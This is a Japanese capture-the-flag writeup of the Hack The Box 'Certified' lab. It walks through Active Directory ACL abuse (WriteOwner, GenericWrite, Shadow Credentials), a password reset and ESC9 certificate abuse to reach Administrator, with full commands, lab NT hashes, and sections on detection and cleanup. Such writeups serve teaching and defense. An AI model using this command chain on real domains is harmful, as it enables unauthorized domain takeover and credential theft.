HTB Certified writeup

Machine リリース日 2024年11月2日

執筆日 2024年11月2日

タグ (7)

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

Summary

Certified は、Domain Controller 上の Active Directory (AD) ACL を連鎖させ、証明書テンプレートの設定まで到達する Windows Medium box である。開始時に与えられた judith.mader の認証情報で AD を列挙し、Management グループの WriteOwner を起点にメンバーシップを得た。そこから management_svc に対する GenericWrite を Shadow Credentials に使い、WinRM で user flag を確認した。さらに management_svc の ca_operator に対する GenericAll、CertifiedAuthentication テンプレートの ESC9 条件、UPN 変更を組み合わせ、Administrator として WinRM 接続した。

本文では、実行コマンドと出力から直接確認できる内容を「記録上の事実」、仕組みの説明を「技術的解釈」として分ける。コマンドまたは出力が残っていない事項は断定しない。

Box Info

Item	Value
Box	Certified
Platform	Hack The Box
OS	Windows
Difficulty	Medium

Attack Chain

judith.mader / judith09
  |
  | BloodHound: WriteOwner over Management
  | owner change -> DACL ACE addition -> group membership
  v
judith.mader in Management
  |
  | Management's GenericWrite over management_svc
  | Shadow Credentials (msDS-KeyCredentialLink)
  v
management_svc NT hash / WinRM
  |
  | GenericAll over ca_operator
  | password reset and UPN change
  v
ca_operator with UPN administrator
  |
  | Enroll in CertifiedAuthentication (ESC9 conditions)
  | certificate authentication as administrator
  v
Administrator NT hash / WinRM
  |
  | read C:\Users\Administrator\Desktop\root.txt
  v
Administrator flag [REDACTED]

各矢印は後述のコマンド出力で確認した操作に対応する。management_svc への最初の候補であった targeted Kerberoasting は、TGS の取得には成功したが、記録された辞書攻撃では認証情報を得られなかったため主経路には含めていない。

Target Details

Item	Value
Host	`DC01.certified.htb`
Domain	`certified.htb`
初期認証情報	`judith.mader:judith09`

名前解決には次のエントリを使用した。

10.129.231.186     DC01.certified.htb certified.htb DC01

全 TCP port を対象にした最初のスキャン。

nmap -sS -A -p- --min-rate 10000 10.129.231.186 > certified.nmap

判断に必要な出力は次のとおりである。

Nmap scan report for 10.129.231.186
Host is up (0.37s latency).
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows

Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

見るべき点は以下である。

53/88/389/445/464/3268/9389 の組み合わせと LDAP が返した domain 名は、対象が AD Domain Controller であることを示す。
5985/tcp は WinRM である。有効な認証情報または hash を得た後の接続先候補になる。
SMB signing が required のため、SMB relay を主経路にするより、与えられた認証情報を使う LDAP/Kerberos/ACL の列挙を優先する根拠になる。
時刻差は 7 時間であり、Kerberos の認証失敗を招き得る。実際に以下で攻撃端末の時刻を合わせた。

sudo systemctl stop systemd-timesyncd
sudo ntpdate certified.htb

2026-07-16 06:02:28.268490 (+0900) +25201.138812 +/- 0.091904 certified.htb 10.129.231.186 s1 no-leap
CLOCK: time stepped by 25201.138812

この出力は約 25,201 秒の補正が実施されたことを示す。以降に Kerberos を含む操作を行う前提を整えた。

Initial Enumeration

SMB と LDAP の初期確認

まず開始時認証情報が SMB で有効か、共有と RID からどの AD principal が存在するかを調べた。

nxc smb dc01.certified.htb -u judith.mader -p judith09 --shares --rid-brute

SMB  10.129.231.186  445  DC01  [+] certified.htb\judith.mader:judith09
SMB  10.129.231.186  445  DC01  Share     Permissions  Remark
SMB  10.129.231.186  445  DC01  IPC$      READ         Remote IPC
SMB  10.129.231.186  445  DC01  NETLOGON  READ         Logon server share
SMB  10.129.231.186  445  DC01  SYSVOL    READ         Logon server share
...
SMB  10.129.231.186  445  DC01  1103: CERTIFIED\judith.mader (SidTypeUser)
SMB  10.129.231.186  445  DC01  1104: CERTIFIED\Management (SidTypeGroup)
SMB  10.129.231.186  445  DC01  1105: CERTIFIED\management_svc (SidTypeUser)
SMB  10.129.231.186  445  DC01  1106: CERTIFIED\ca_operator (SidTypeUser)

認証成功、読めるドメイン共有、および後に連鎖に現れる 3 principal を確認した。一方、この時点で ADMIN$ や C$ に権限は表示されておらず、管理共有への直接アクセスを根拠にした経路ではない。

次に LDAP でユーザーとグループを列挙した。

nxc ldap dc01.certified.htb -u judith.mader -p judith09 --users --group

LDAP  10.129.231.186  389  DC01  [+] certified.htb\judith.mader:judith09
LDAP  10.129.231.186  389  DC01  [*] Enumerated 9 domain users: certified.htb
LDAP  10.129.231.186  389  DC01  management_svc  2024-05-14 00:30:51  0
LDAP  10.129.231.186  389  DC01  ca_operator     2024-05-14 00:32:03  0
...
LDAP  10.129.231.186  389  DC01  Remote Management Users       1
LDAP  10.129.231.186  389  DC01  Certificate Service DCOM Access 1
LDAP  10.129.231.186  389  DC01  Management                    1

management_svc、ca_operator、Management が存在し、WinRM 利用に関係し得る Remote Management Users も確認できた。ここでは誰がそのグループの唯一のメンバーかをこの出力だけで特定していないため、後続の BloodHound 関係と実際の WinRM 成功で検証した。

Active Directory Relationships and BloodHound Analysis

AD の ACL と証明書オブジェクトを含めて収集するため、次を実行した。

rusthound-ce -d certified.htb -f dc01.certified.htb -u judith.mader -p judith09 -c All --zip

[INFO] Connected to CERTIFIED.HTB Active Directory!
[INFO] All data collected for NamingContext DC=certified,DC=htb
[INFO] MachineAccountQuota: 10
[INFO] Found 12 enabled certificate templates
[INFO] 10 users parsed!
[INFO] 61 groups parsed!
[INFO] 1 computers parsed!
[INFO] 1 enterprisecas parsed!
[INFO] 34 certtemplates parsed!

収集結果を BloodHound で確認したという記録から、次の関係が得られている。

judith.mader --WriteOwner--> Management
Management --GenericWrite--> management_svc
management_svc --GenericAll--> ca_operator
management_svc --MemberOf--> Remote Management Users
ca_operator --Enroll--> CertifiedAuthentication

上の 3 本の書込み権限と、最後の Enroll 権限が主経路を作る。ca_operator が Domain Users および Authenticated Users のメンバーであること、Authenticated Users が CA に Enroll を持つことも記録されているが、それだけでは Administrator への昇格を意味しない。テンプレート側の権限と設定を別に評価する必要がある。

ACL 用語をこの連鎖に対応付ける

用語	技術的解釈	この box での意味
Owner	オブジェクトの security descriptor に記録される所有者。所有者は通常、そのオブジェクトの DACL を変更できるが、通常属性を自動的に書き換えられるわけではない。	`judith.mader` は `Management` の所有者へ変更できたが、その直後の所属確認では `Management` のメンバーではなかった。
DACL	Discretionary ACL。オブジェクトに対する allow/deny ACE の集合で、誰に何を許すかを表す。	所有者になった後、`Management` の DACL に Judith への `GenericAll` ACE を追加した。
ACE	DACL 内の個別のアクセス制御規則。principal、許可/拒否、権限の組で構成される。	追加した ACE は `judith.mader` に `Management` への `GenericAll` を与えるものだった。
WriteOwner	所有者を変更する権限。DACL や `member` 属性の変更権そのものではない。	BloodHound 上の出発点。`set owner` は成功した。
WriteDacl	DACL を変更する権限。ACE を追加・削除できるが、通常属性の書込みとは別である。	この記録では Owner になった後に DACL へ ACE を加えた。
GenericWrite	対象オブジェクトの書込み可能な属性を変更できる一般的な権限。属性固有の保護や拡張権限とは別に評価する。	`Management` 経由で `management_svc` の `servicePrincipalName` と `msDS-KeyCredentialLink` を更新できた。
GenericAll	対象オブジェクトに対する広い制御権。属性変更、password reset など影響範囲が大きい操作につながり得る。	`management_svc` はこれを `ca_operator` に持ち、password と UPN を変更できた。
グループ経由の権限	ユーザーがグループに加入すると、認可時にグループへ付与された ACE がそのユーザーにも評価される。	Judith を `Management` に加えた後、同グループの `GenericWrite` を使う操作が成功した。

ACL Chain to management_svc

Owner 変更、DACL 変更、グループ加入

WriteOwner が本当に存在するかを状態変更で確認した。これは AD オブジェクトの所有者を変更する操作である。

bloodyad --host dc01.certified.htb -d certified.htb -u judith.mader -p judith09 set owner Management judith.mader

[+] Old owner S-1-5-21-729746778-2675978091-3820388244-512 is now replaced by judith.mader on Management

この出力は Owner が変更されたことだけを示す。直後に所属を確認すると、Management はまだ現れなかった。

bloodyAD \
  --host dc01.certified.htb \
  -d certified.htb \
  -u judith.mader \
  -p 'judith09' \
  get membership judith.mader

distinguishedName: CN=Users,CN=Builtin,DC=certified,DC=htb
sAMAccountName: Users

distinguishedName: CN=Domain Users,CN=Users,DC=certified,DC=htb
sAMAccountName: Domain Users

これは「Owner とグループメンバーは別物」という重要な切り分けである。次に、所有者として DACL に Judith の GenericAll ACE を追加し、その権限で自分をグループへ加えた。

bloodyAD \
  --host dc01.certified.htb \
  -d certified.htb \
  -u judith.mader \
  -p 'judith09' \
  add genericAll Management judith.mader

[+] judith.mader has now GenericAll on Management

bloodyAD \
  --host dc01.certified.htb \
  -d certified.htb \
  -u judith.mader \
  -p 'judith09' \
  add groupMember Management judith.mader

[+] judith.mader added to Management

再確認では Management が現れる。

distinguishedName: CN=Management,CN=Users,DC=certified,DC=htb
objectSid: S-1-5-21-729746778-2675978091-3820388244-1104
sAMAccountName: Management

この順序は、Owner → DACL の ACE → member 属性という別々の変更を混同しないために重要である。GenericAll ではなく member 属性だけに限定した ACE を設計することも可能だが、その操作を行った記録はない。

Targeted Kerberoasting は資格情報を得られなかった

Management の GenericWrite が有効であることを、management_svc の SPN 追加で確認した。これは状態変更である。

bloodyad -d certified.htb --host dc01.certified.htb -u judith.mader -p judith09 set object management_svc servicePrincipalName -v 'http/management-test.certified.htb'

[+] management_svc's servicePrincipalName has been updated

SPN を持つアカウントには、任意の認証済みユーザーが TGS を要求できる。そこで追加した SPN に対応する management_svc の TGS を取得した。

nxc ldap dc01.certified.htb -u judith.mader -p judith09 --kerberoasting management_svc.hash

LDAP  10.129.231.186  389  DC01  [*] Total of records returned 1
LDAP  10.129.231.186  389  DC01  [*] sAMAccountName: management_svc, memberOf: ['CN=Management,CN=Users,DC=certified,DC=htb', 'CN=Remote Management Users,CN=Builtin,DC=certified,DC=htb']
LDAP  10.129.231.186  389  DC01  $krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb\management_svc*$3f9e...03d7d4

出力中の memberOf は、management_svc が Remote Management Users に属することを裏付ける。TGS 取得は成功したが、次の辞書攻撃は Recovered: 0/1 で終了した。

hashcat management_svc.hash /usr/share/wordlists/rockyou.txt

Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Status...........: Exhausted
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)

これは Kerberoasting 自体の失敗ではない。TGS hash は得られた一方、この辞書では password を導けなかったという結果である。追加の wordlist、rules、mask attack を実行した記録はないため、推測で継続しない。

Shadow Credentials で management_svc へ移行

GenericWrite を使う別の方法として、management_svc の msDS-KeyCredentialLink へ Key Credential を追加した。

bloodyad -d certified.htb --host dc01.certified.htb -u judith.mader -p judith09 add shadowCredentials management_svc

[+] KeyCredential generated with following sha256 of RSA key: c2ae3c55c2d0017c51510765a7bd108e5de4a956cd36f04aad02affb6333005b
[+] TGT stored in ccache file management_svc_X5.ccache

NT: a091c1832bcdd4677c28b5a6a1295584

技術的には、Key Credential を対象アカウントに関連付けると、その鍵を使った証明書ベースの Kerberos 認証が可能になる。ここでは TGT 保存と management_svc の NT hash が同じ出力で得られている。TGS の password crack を待たずに、WinRM に必要な認証材料へ移れる理由である。

management_svc の hash を使って WinRM 接続し、user flag の配置と読取りを確認した。

evil-winrm-py -i dc01.certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584

[*] Connecting to 'dc01.certified.htb:5985' as 'management_svc'
evil-winrm-py PS C:\Users\management_svc\Documents> cd ..\Desktop
evil-winrm-py PS C:\Users\management_svc\Desktop> ls

    Directory: C:\Users\management_svc\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/15/2026   1:57 PM             34 user.txt

evil-winrm-py PS C:\Users\management_svc\Desktop> type user.txt
[REDACTED]

WinRM 接続成功と user.txt の内容が出力されたため、management_svc としての初期権限取得は確認できる。

AD CS Investigation and Privilege Escalation

ca_operator の password reset

BloodHound で記録された management_svc --GenericAll--> ca_operator を使い、ca_operator の password を変更した。

bloodyad -d certified.htb --host dc01.certified.htb -u management_svc -p :a091c1832bcdd4677c28b5a6a1295584 set password ca_operator 'HappyPwn2026!'

[+] Password changed successfully!

新しい password が LDAP で通ることを確認した。

nxc ldap dc01.certified.htb -u ca_operator -p 'HappyPwn2026!'

LDAP  10.129.231.186  389  DC01  [+] certified.htb\ca_operator:HappyPwn2026!

この確認により、単に AD 属性を書けたのではなく、変更後の ca_operator 認証情報を実用できることが分かる。

CA と証明書テンプレートを分けて評価する

CA は証明書を発行する AD CS の発行者であり、テンプレートは「誰が申請できるか、証明書にどの subject/EKU/拡張を入れるか」を定める AD オブジェクトである。CA に対する Enroll があっても、利用するテンプレートが有効か、依頼者にテンプレートの Enroll があるか、認証用 EKU があるかを満たさなければ認証への悪用には直結しない。

ca_operator として CA とテンプレートを調査した。

certipy find -u ca_operator -p HappyPwn2026! -dc-ip 10.129.231.186 -target certified.htb -vulnerable -stdout

[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'certified-DC01-CA'
[!] Error checking web enrollment: timed out
...
CA Name                             : certified-DC01-CA
DNS Name                            : DC01.certified.htb
Web Enrollment
  HTTP                              : False
  HTTPS                             : False
Request Disposition                 : Issue
Permissions
  Enroll                            : CERTIFIED.HTB\Authenticated Users

Template Name                       : CertifiedAuthentication
Display Name                        : Certified Authentication
Certificate Authorities             : certified-DC01-CA
Enabled                             : True
Client Authentication               : True
Enrollee Supplies Subject           : False
Certificate Name Flag               : SubjectAltRequireUpn
                                      SubjectRequireDirectoryPath
Enrollment Flag                     : PublishToDs
                                      AutoEnrollment
                                      NoSecurityExtension
Extended Key Usage                  : Server Authentication
                                      Client Authentication
Requires Manager Approval           : False
Authorized Signatures Required      : 0
Enrollment Rights                   : CERTIFIED.HTB\operator ca
...
[+] User Enrollable Principals      : CERTIFIED.HTB\operator ca
[!] Vulnerabilities
  ESC9                              : Template has no security extension.

Remote Registry への最初の接続と web enrollment の検査は timeout したが、RRP による CA 構成取得と template 列挙は成功している。Web enrollment が無効でも、この後に示す RPC による要求は成功しているため、HTTP enrollment を前提にする必要はない。

ca_operator の cn は operator ca であり、出力では template の Enroll principal が CERTIFIED.HTB\operator ca と表示される。これは template 権限と対象アカウントを対応付ける際の判断材料である。

ESC9 の成立条件と記録の対応

ESC9 は、テンプレートの NoSecurityExtension によって証明書へ強い SID 結合の security extension が入らない条件を起点にする分類である。ただし、そのフラグ単独では権限昇格を断定できない。今回の経路では以下を分けて確認する。

成立に必要な観点	実際の確認結果	判断
CA が template を発行可能	`CertifiedAuthentication` は `certified-DC01-CA` に紐付き `Enabled : True`	確認済み
依頼者が template に Enroll 可能	`Enrollment Rights` と `User Enrollable Principals` に `CERTIFIED.HTB\operator ca`	確認済み
認証に使える EKU	`Client Authentication : True`、EKU に `Client Authentication`	確認済み
承認待ちや署名要件が障害にならない	`Requires Manager Approval : False`、`Authorized Signatures Required : 0`	確認済み
強い SID 結合がない	`Enrollment Flag` に `NoSecurityExtension`、Certipy が ESC9 と報告	確認済み
証明書 subject/SAN と AD 属性の関係	`Enrollee Supplies Subject : False` かつ `SubjectAltRequireUpn`。後で `ca_operator` の UPN を変更して要求した	確認済み
変更後 UPN を Administrator として認証できること	発行証明書で `administrator@certified.htb` の TGT と NT hash を取得	この経路で確認済み

最後の行は、証明書マッピングを受け入れる実効条件がこの環境で満たされたことを成功結果から示す。一方、Domain Controller の強い証明書マッピング設定値そのものを直接列挙した記録はない。

CertipyはCertifiedAuthenticationテンプレートをESC9として判定した。判定根拠はEnrollment FlagにNoSecurityExtensionが設定されていることである。

なお、Certipy自身も「Other prerequisites may be required」と出力しており、ESC9の実際の悪用可否はKDC側の証明書マッピング設定などにも依存する。本検証では実際に証明書認証が成功したことから、本ラボ環境では必要条件が満たされていたと判断できる。一方で、KDC設定そのものを直接確認した証跡は取得していない。

UPN の一時変更、証明書要求、Administrator 認証

要求前の ca_operator 属性を読んだ。ここで元の UPN を記録しておくことが、後の復元の根拠になる。

certipy account \
    -u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 \
    -dc-ip '10.129.231.186' -user 'ca_operator' \
    read

[*] Reading attributes for 'ca_operator':
    cn                                  : operator ca
    distinguishedName                   : CN=operator ca,CN=Users,DC=certified,DC=htb
    sAMAccountName                      : ca_operator
    userPrincipalName                   : ca_operator@certified.htb
    userAccountControl                  : 66048

management_svc の GenericAll を使って、この UPN を一時的に administrator へ更新した。

certipy account \
    -u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 \
    -dc-ip '10.129.231.186' -upn 'administrator' \
    -user 'ca_operator' update

[*] Updating user 'ca_operator':
    userPrincipalName                   : administrator
[*] Successfully updated 'ca_operator'

テンプレートが依頼者による任意 subject 指定を許しているわけではない点に注意する。ここでは SubjectAltRequireUpn がアカウント属性の UPN を要求証明書へ反映し、NoSecurityExtension により object SID が結び付かない、という組合せを利用している。

その状態の ca_operator で RPC 経由の証明書要求を行った。

certipy req \
    -u 'ca_operator@certified.htb' -p 'HappyPwn2026!' \
    -dc-ip '10.129.231.186' \
    -target 'dc01.certified.htb' -ca 'certified-DC01-CA' \
    -template 'CertifiedAuthentication'

[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saving certificate and private key to 'administrator.pfx'

要求 ID、UPN、SID のない証明書という 3 行が、ESC9 に必要な実際の発行結果である。続けて UPN を記録済みの値へ戻した。

certipy account \
    -u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 \
    -dc-ip '10.129.231.186' -upn 'ca_operator@certified.htb' \
    -user 'ca_operator' update

[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

発行された証明書を使った認証は成功した。

certipy auth \
    -dc-ip '10.129.231.186' -pfx 'administrator.pfx' \
    -username 'administrator' -domain 'certified.htb'

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: 'administrator@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Got TGT と Administrator の NT hash 取得により、証明書が Administrator としての Kerberos 認証へ実際に使えたことを確認できる。

Administrator Access and Root Flag

得た Administrator hash で WinRM 接続し、root flag の配置と読取りを確認した。

evil-winrm-py -i dc01.certified.htb -u administrator -H 0d5b49608bbce1751f708748f67e2d34

[*] Connecting to 'dc01.certified.htb:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> cd ..\Desktop
evil-winrm-py PS C:\Users\Administrator\Desktop> ls

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/15/2026   1:57 PM             34 root.txt

evil-winrm-py PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]

Administrator での WinRM 接続と C:\Users\Administrator\Desktop\root.txt の内容が出力されたため、最終権限は確認済みである。

Defense and Detection

LDAP による ACL と属性変更

Management の owner/DACL/member、management_svc の SPN と Key Credential、ca_operator の password と UPN はすべて AD オブジェクトまたは属性の変更である。Domain Controller 側では LDAP 通信と Directory Service の変更を監視対象にする。

Audit Directory Service Changes と対象オブジェクトの適切な SACL が有効なら、Security Event ID 5136 に属性変更を残し得る。member、servicePrincipalName、msDS-KeyCredentialLink、userPrincipalName を個別に相関する。
Audit Directory Service Access と SACL を設定していれば、Security Event ID 4662 でディレクトリオブジェクトへのアクセスを補助的に追える。SACL がなければ、これらのイベントが残るとは限らない。
owner/DACL の変更は security descriptor の変更として、同じ監査前提で追跡する。DACL だけでなく owner の差分も保存し、Management に Judith のような個人 principal へ広い ACE が追加されたことを検出する。
ca_operator の password reset は、Audit User Account Management が有効なら Security Event ID 4724 の対象である。元の password は記録にないため、事後調査では変更主体・送信元・時刻を認証ログと合わせる必要がある。

正常なヘルプデスクによる password reset やグループ運用と、単発のイベントだけで区別するのは難しい。特に危険なのは同じ送信元から短時間に、owner 変更 → DACL ACE 追加 → 自己グループ加入 → SPN または msDS-KeyCredentialLink 書込みが続く時系列である。Identity 系監視製品では、普段使わない principal が高権限グループの所有者になること、Shadow Credentials の追加、短時間の連鎖を 1 件のストーリーとして検知する。

Kerberos、AD CS、WinRM

targeted Kerberoasting の TGS 要求は KDC の Security Event ID 4769 に残り得る。ここでは新設した http/management-test.certified.htb への要求と同時期の SPN 属性変更を結び付ける。
Shadow Credentials と証明書による certipy auth は TGT を取得している。KDC の TGT 発行ログ、変更直後の認証方式、送信元を相関する。ログ上の認証方式や証明書詳細の保持範囲は監査設定に依存するため、この記録だけから具体的なフィールド値は断定できない。
証明書要求は CA 側の RPC 通信であり、web enrollment の有無とは別である。Audit Certification Services が有効なら、Security Event ID 4886（要求受信）と 4887（発行）を Request ID 6、依頼者、テンプレート CertifiedAuthentication、UPN 変更時刻と突き合わせる。
WinRM は TCP/5985 を通る。接続先では成功ログオン（Security Event ID 4624）と WinRM Operational ログ、EDR では WinRM provider host やその配下の PowerShell 操作が見える可能性がある。LDAP 操作ツール自体は攻撃端末で実行されるため、DC の EDR だけでは owner/DACL の変更元プロセスを見られない場合がある。

防御としては、WriteOwner、WriteDacl、GenericWrite、GenericAll を高価値グループ・サービスアカウントに委譲しないこと、msDS-KeyCredentialLink と UPN の変更を高優先度にすること、認証用 template で NoSecurityExtension を許容しないことが重要である。テンプレートの Enroll 権限は CA 権限とは別に最小化し、Client Authentication EKU を持つ template は特に棚卸しする。

Rabbit Holes and Dead Ends

Owner をメンバーシップと誤認した点

Management の owner を Judith に変更した直後、所属確認には Users と Domain Users しか出なかった。Owner は DACL を操作するための足掛かりであって、グループの member 属性を変えた結果ではない。DACL への ACE 追加と add groupMember が別操作であることを、この確認出力が示している。

Kerberoast の辞書攻撃

SPN 追加と TGS hash 取得は成功したが、rockyou.txt を使った Hashcat は Exhausted / Recovered: 0/1 だった。password が存在しない、あるいは別の攻撃で絶対に解けないことを意味するものではない。記録された手法では先へ進めないため、すでに書込み可能な msDS-KeyCredentialLink を使う Shadow Credentials へ切り替えた。

AD CS の web enrollment timeout

CA 構成の取得中に Remote Registry の初回接続失敗と web enrollment の timeout が出た。しかし同じ調査で CA/template 情報は取得でき、後の certipy req は RPC 経由で成功した。HTTP/HTTPS web enrollment を再試行するより、出力に明示された RPC 経路を使う判断が妥当だった。

Cleanup Notes

以下は記録された状態変更と必要な復元である。UPN 以外について、復元を実行・検証した出力は残っていない。したがって「cleanup 済み」とは扱わない。

対象	記録された変更	復元に必要な操作	検証状況
攻撃端末の時刻同期	`systemd-timesyncd` を停止し、`ntpdate` で時刻を 25,201 秒補正	通常の時刻同期サービスを復帰させ、正しい時刻源へ再同期する。	復帰記録なし
`Management` owner	旧 owner `S-1-5-21-729746778-2675978091-3820388244-512` を `judith.mader` へ変更	元の owner に戻し、security descriptor の owner を確認する。RID `512` は列挙出力で `CERTIFIED\Domain Admins` と対応する。	記録なし
`Management` DACL	Judith に `GenericAll` ACE を追加	追加した Judith の ACE のみを削除し、DACL 差分を確認する。	記録なし
`Management` member	Judith を追加	Judith を `Management` から削除し、再帰的な membership を確認する。	記録なし
`management_svc` SPN	`http/management-test.certified.htb` を設定	この値だけを除去する前に、変更前の `servicePrincipalName` 値を確認する。	変更前の値・復元記録なし
`management_svc` Key Credential	SHA-256 `c2ae3c55c2d0017c51510765a7bd108e5de4a956cd36f04aad02affb6333005b` の鍵を生成して Shadow Credentials を追加	追加した `msDS-KeyCredentialLink` 値だけを削除し、残存 Key Credential を確認する。	記録なし
`ca_operator` password	`HappyPwn2026!` に reset	元の password は不明。承認された管理手順で再 reset し、利用者へ通知する。	元の値・復元記録なし
`ca_operator` UPN	`ca_operator@certified.htb` → `administrator` → `ca_operator@certified.htb`	最後の update 出力が元の文字列への復帰成功を示す。directory read での最終確認も行う。	復帰 command は成功、独立した read 確認は記録なし
Remote Registry	CA 調査中に Certipy が `Service should be starting now` と出力	サービスが実際に開始されたか、元の起動状態へ戻ったかを確認する。	開始・復元とも記録なし
CA request ID `6`	`CertifiedAuthentication` から Administrator UPN の証明書を発行	CA 管理者が要求 ID `6` を失効し、発行済み証明書を追跡する。	記録なし
攻撃端末上の認証材料	`management_svc_X5.ccache`、`administrator.pfx`、`administrator.ccache` が作成された	private key、credential cache、hash の保存先を削除または安全に保管する。	削除・保管の記録なし

Credentials and Artifacts

principal / artifact	取得元	最初の利用	有効だったアクセス
`judith.mader:judith09`	開始時に与えられた認証情報	SMB/LDAP 列挙	AD 列挙、`Management` owner/DACL/member の変更
`management_svc` NT hash `a091c1832bcdd4677c28b5a6a1295584`	`add shadowCredentials management_svc` の出力	`evil-winrm-py`	WinRM で `management_svc` として user flag を読む、`ca_operator` を制御
`ca_operator:HappyPwn2026!`	`management_svc` による password reset	LDAP 認証、`certipy find`、`certipy req`	`CertifiedAuthentication` への証明書要求
`administrator.pfx`	Request ID `6` の証明書要求で作成	`certipy auth`	Administrator の TGT と NT hash の取得
Administrator NT hash `0d5b49608bbce1751f708748f67e2d34`	`certipy auth` の出力	`evil-winrm-py`	Administrator WinRM 接続と root flag の読取り
`C:\Users\management_svc\Desktop\user.txt`	WinRM で列挙	`type user.txt`	内容は `[REDACTED]`
`C:\Users\Administrator\Desktop\root.txt`	WinRM で列挙	`type root.txt`	内容は `[REDACTED]`

management_svc の Kerberos TGS hash も取得したが、記録された rockyou.txt による攻撃では password は得られていない。未取得の credential を表に補わないことが重要である。

Required Knowledge

AD Domain Controller をポート、LDAP domain、SMB signing、時刻差から見分けること。
Kerberos の時刻同期、SPN、TGS、Kerberoasting の「hash 取得」と「password crack」を別段階として扱うこと。
Owner、DACL、ACE、WriteOwner、WriteDacl、GenericWrite、GenericAll、グループ経由の認可を区別すること。
msDS-KeyCredentialLink を使う Shadow Credentials と、追加後に必ず cleanup が必要な理由。
CA と certificate template を分離し、Enroll、EKU、subject/SAN の生成方法、security extension、account attribute の変更可能性を合わせて評価すること。
ESC9 を単なる Certipy のラベルとして扱わず、template 設定、UPN 変更、発行結果、実際の Kerberos 認証成功まで確認すること。
DC 監査、CA 監査、Kerberos、WinRM、Identity 監視を単発ではなく時系列で相関すること。

Final Thought

この box の要点は、BloodHound の関係を一つの「万能権限」として読まず、owner、DACL、グループ所属、属性書込み、認証方式という境界ごとに成功出力で確認することにある。特に AD CS では CA の Enroll だけでは不十分であり、template の Enroll、Client Authentication EKU、NoSecurityExtension、変更できる account UPN、最終的な証明書認証成功を一続きで検証する必要がある。状態変更が多い経路だからこそ、元の値と cleanup の有無を記録することも再現性と防御視点の両方に直結する。